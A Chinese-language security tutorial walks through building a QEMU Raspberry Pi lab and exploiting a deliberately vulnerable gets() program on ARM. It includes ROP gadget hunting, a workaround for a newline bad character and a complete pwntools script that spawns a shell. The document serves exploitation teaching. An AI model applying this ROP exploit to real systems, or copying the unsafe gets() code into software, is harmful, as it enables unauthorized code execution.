ARM栈溢出攻击实践:从虚拟环境搭建到ROP利用

2016-06-26 661293人围观 ,发现 4 个不明物体 极客终端安全

* 本文原创作者:thor@ms509Team

目前市面上的Android手机大多都采用ARM的CPU,在嵌入式设备领域ARM CPU更是处于统治地位,因此在移动安全领域有必要熟悉下ARM的exploition。本文记录了ARM下栈溢出到ROP利用的调试过程,供入门参考。

0×00 QUME ARM虚拟环境搭建

要调试ARM程序,首先你要有ARM的机器。虽然Android手机大部分是ARM架构的CPU,但是由于Android系统和linux系统的库和工具还是有很多不同,使用很不方便,最好还是有ARM + Linux的环境,Raspberry Pi 便是不错的选择。这里我们使用开源硬件模拟器QEMU + Raspberry Pi的镜像来搭建ARM + Linux的环境。搭建环境需要准备以下软件及工具:

1. ubuntu 16.02 32位系统 2. QEMU emulator version 2.5.0 3. Raspberry Pi image:2014-06-20-wheezy-raspbian.img 4. qemu kernel : qemu_kernel_3.2.27_with_CIF

首先安装qemu:

apt-get install qemu-system qemu-user-static binfmt-support

安装好后,将Raspberry Pi image和qemu kernel放到同一目录下,运行如下命令启动虚拟机修改一些配置文件:

qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw init=/bin/bash" -hda 2014-06-20-wheezy-raspbian.img

启动后界面如下:

1.png

接下来需要修改一些配置文件,首先执行

vi /etc/ld.so.preload

将/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so注释掉:

#/usr/lib/arm-linux-gnueabihf/libcofi_rpi.so

然后新建/etc/udev/rules.d/90-qemu.rules文件,并加入如下内容:

KERNEL=="sda", SYMLINK+="mmcblk0"
KERNEL=="sda?", SYMLINK+="mmcblk0p%n"
KERNEL=="sda2", SYMLINK+="root"

配置好后退出并关闭虚拟机。Raspberry Pi image自带的磁盘空间很小,通过如下命令扩展:

qemu-img resize 2014-06-20-wheezy-raspbian.img +8G

现在可以用如下命令真正启动进入虚拟机了:

qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS  -cpu arm1176 -m 256 -M versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw" -hda 2014-06-20-wheezy-raspbian.img

启动后界面如下:

3.png

通过用户名pi及密码raspberry进入系统:

4.png

刚才用qemu-img扩展了image,进入系统后还需要通过如下命令扩展文件系统:

sudo ln -snf mmcblk0p2 /dev/root
sudo raspi-config

最后,配置好的系统如图所示:

5.png

配置好系统后就可以进入系统安装软件、配置调试环境了。为了调试方便,需要通过ssh访问系统,但是qemu配置host与guest直接网络互通比较麻烦,因此使用qemu端口转发的方式比较方便,而host与guest文件共享则使用qemu自带的samba服务,最终qemu启动命令如下:

qemu-system-arm -kernel qemu_kernel_3.2.27_with_CIFS -cpu arm1176 -m 256  -M  versatilepb -no-reboot -serial stdio -append "root=/dev/sda2 panic=1 rootfstype=ext4 rw " -hda 2014-06-20-wheezy-raspbian.img -redir tcp:5022::22 -redir tcp:6666::6666  -smb /root/Desktop

通过redir参数,我们将raspberry的22端口映射到host的5022端口,那么主机ubuntu可通过如下命令访问raspberry:

ssh -p 5022 pi@127.0.0.1

同时,我们将raspberry的6666端口映射到本地的6666端口,方便利用socat调试远程溢出。qemu的smb参数指定主机的目录为samba目录,在raspberry guest中可以通过\10.0.2.4\qemu访问,10.0.2.4是qemu规定的samba共享地址。在raspberry中可通过如下命令挂载samba共享:

sudo mount -t cifs //10.0.2.4/qemu /mnt/Host

挂载好后在raspberry中可直接通过/mnt/Host访问主机的共享目录。系统环境准备好后就是安装调试环境,主要用到了gdb插件gef、checksec.sh、pattern.py、Ropgadget、pwntools等。这些工具都可以通过apt-get和pip安装,十分方便。

0×01 ARM下的栈溢出ROP

搭建好ARM的环境后,我们先通过一个简单的栈溢出来练练手,同时先关闭ASLR:

  sudo echo 0 > /proc/sys/kernel/randomize_va_space

编写一个简单的栈溢出程序stack.c:

#include <stdio.h>

int main(int argc, char **argv) {

    char buffer[64];

    gets(buffer);

    return 0;
}

通过gcc编译得到可执行程序:

gcc -o stack stack.c

程序非常简单,gets函数存在栈溢出,接下来我们调试程序寻找溢出点:

7.png

使用checksec查看使用了哪些安全机制:

8.png

使用了DEP,没有栈保护及PIE,由于我们先关闭了ASLR,因此这里主要是绕过DEP机制,可以使用ret2libc或ROP,这里我们使用ROP。为了准确找出溢出点,我们使用pattern.py首先生成150字符,并输入:

9.png

可以看到PC值为0×33634132,通过pattern.py确定溢出点为68:

10.png

接下来我们需要构造ROP chain。我们溢出的目的是执行libc中的system函数,执行system(“/bin/sh”)获取到shell。由于ARM中函数参数是通过寄存器传递而不是栈,因此我们至少需要一个gadget:设置寄存器r0为”/bin/sh”。stack程序本身代码较少,因此我们在libc中寻找,我们使用ROPgadget来寻找:

ROPgadget --binary libc-2.13.so --only "pop" | grep r0

只找到一个:

0x0007908c : pop {r0, r4, pc}

这个gadget刚好满足我们的需求:控制r0及pc。但是在这里却出现了一个大问题:坏字符。我们先找到libc加载的基址0×40034000:

11.png

计算得到gadget1的内存地址:

0x400ad08c

该地址有一坏字符0a,即换行符’\n’。gets函数在遇到换行符就结束了,payload就没法正常发送。因此 pop {r0, r4, pc}这个gadget没法用。我们只有找mov r0,rn类似的gadget来曲线救国:

ROPgadget --binary libc-2.13.so --only "mov|pop" | grep r0

找到一大堆gadget,我们选取如下:

0x000e2010 : mov r0, r1 ; pop {r4, pc}

这里通过寄存器r1中转,因此还要找一个控制r1的gadget:

0x00102ae4  pop {r1,pc}

最后我们的ROP chain为:

  1. gadget1: 0x00102ae4 : pop {r1,pc}
  2. gadget2: 0x000e2010 : mov r0, r1 ; pop {r4, pc}
  3. ret2libc调用system函数

exploit中我们还需要知道system函数的地址及/bin/sh的地址:

12.png

最后我们的exploit脚本如下:

from pwn import *

p = remote('127.0.0.1',6666)

#gadget1:   0x00102ae4  pop {r1,pc}

#gadget2:   0x000e2010  mov {r0,r1}; pop {r4,pc}

libc_base = 0x40034000

gadget1 = libc_base + 0x00102ae4
gadget2 = libc_base + 0x000e2010

bin_sh_addr_in_libc = 0x40149e6c

system = 0x4006ebd8

r4 = 'BBBB'

payload = 'A'*68 + p32(gadget1) + p32(bin_sh_addr_in_libc) + p32(gadget2) + r4 + p32(system) 

p.send(payload)

p.interactive()

最后测试溢出效果,在Raspberry Pi 虚拟机中执行socat:

14.png

在主机端远程溢出成功,获取到shell:

15.png

0×02 总结

本文记录了在QEMU Raspberry Pi虚拟环境下调试ARM栈溢出及ROP的过程。栈溢出的可执行程序很简单,主要是调试ROP的过程中遇到坏字符的问题调试了很久,PC莫名其妙跑飞,最后才找到原因及解决办法。后续将继续调试ARM下绕过ASLR及堆溢出的练习。

* 本文原创作者:thor@ms509Team,本文属FreeBuf原创奖励计划,未经许可禁止转载

这些评论亮了

  • ysc3839 回复
    求讲解Windows上的溢出,或者能推荐一个文章吗?
    )14( 亮了
  • difcareer (3级) 我在简书上发起了一个Android安全专题,分为很多个子专题... 回复
    这个环境不错
    )7( 亮了
  • cwg2552298 (6级) Follow my own course 回复
    想问一下,为什么我安装的ubuntu 虚拟机会特别的卡?
    )6( 亮了
  • difcareer (3级) 我在简书上发起了一个Android安全专题,分为很多个子专题... 回复
    楼主可以共享一下你配置好的环境么,谢谢
    )6( 亮了
发表评论

已有 4 条评论

取消
Loading...
css.php